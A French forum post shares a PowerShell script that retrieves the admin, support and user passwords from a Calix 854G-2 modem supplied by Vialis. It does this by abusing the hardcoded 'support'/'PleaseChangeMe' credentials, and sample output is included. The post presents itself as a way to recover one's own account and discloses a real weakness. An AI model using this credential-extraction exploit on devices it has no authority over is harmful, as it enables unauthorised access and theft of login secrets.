Auteur Sujet: Récupération du compte administrateur du Calix 854G-2  (Lu 2339 fois)

0 Membres et 1 Invité sur ce sujet

gentilkiwi

  • Abonné Vialis
  • *
  • Messages: 1
Récupération du compte administrateur du Calix 854G-2
« le: 05 janvier 2019 à 17:39:29 »
Un petit bout de code PowerShell pour récupérer son compte administrateur du modem Calix 854G-2, en se servant des identifiants support codés dans la passerelle (et non changés :()
Pour cela, ces petites lignes de script utilisent le login 'support' et le mot de passe 'PleaseChangeMe'

$gateway = '192.168.1.1'
$supportCreds = 'support:PleaseChangeMe'
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookie = New-Object System.Net.Cookie('Authorization', [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($supportCreds)), '', $gateway)
$session.Cookies.Add($cookie)
Invoke-WebRequest `
-Uri $('http://' + $gateway + '/cgi_parameter_value.cmd') `
-WebSession $session `
-Method Post `
-Body @{'action'='get'; 'ejGetVal'='adminUserName,adminPassword,sptUserName,sptPassword,usrUserName,usrPassword'} `
| Select-Object -Expand Content # or ConvertFrom-Json

En sortie:
{
        "adminUserName":        "xxx",
        "adminPassword":        "xxx",
        "sptUserName":  "support",
        "sptPassword":  "PleaseChangeMe",
        "usrUserName":  "user",
        "usrPassword":  "user"
}

Ce compte de support donne d'ailleurs accès à un sous menu de support (attention à vos modifications)


Il semble être utilisé par le support Vialis. Attention certaines modifications effectués via ce compte ne sont pas forcèment visible dans les paramètres admin.